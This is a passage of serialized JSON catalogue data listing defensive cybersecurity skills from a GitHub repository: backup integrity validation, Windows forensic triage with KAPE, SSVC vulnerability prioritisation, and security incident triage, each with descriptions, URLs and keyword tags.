backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[157,158],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":107,"categoryName":108,"taxonomyType":21,"taxonomyTypeDesc":22},[145,160,161,162,26,28,163,164,139,165,166,167,168,169,170,171,172,173,174,175],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":177,"name":178,"nameZh":6,"description":179,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":180,"categories":181,"keywords":183,"publishedAt":40},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[182],{"categoryNo":107,"categoryName":108,"taxonomyType":21,"taxonomyTypeDesc":22},[184,185,186,28,187,188,189,190,191,192,193,194,195,196,197,198,142,199,200,201],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":203,"name":204,"nameZh":6,"description":205,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":206,"categories":207,"keywords":209,"publishedAt":40},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[208],{"categoryNo":107,"categoryName":108,"taxonomyType":21,"taxonomyTypeDesc":22},[29,210,211,28,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":229,"name":230,"nameZh":6,"description":231,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":232,"categories":233,"keywords":235,"publishedAt":40},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[234],{"categoryNo":107,"categoryName":108,"taxonomyType":21,"taxonomyTypeDesc":22},[27,236,28,237,238,239,240,241,242,243,244,171,245,172,246,247,248,249,250,251],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]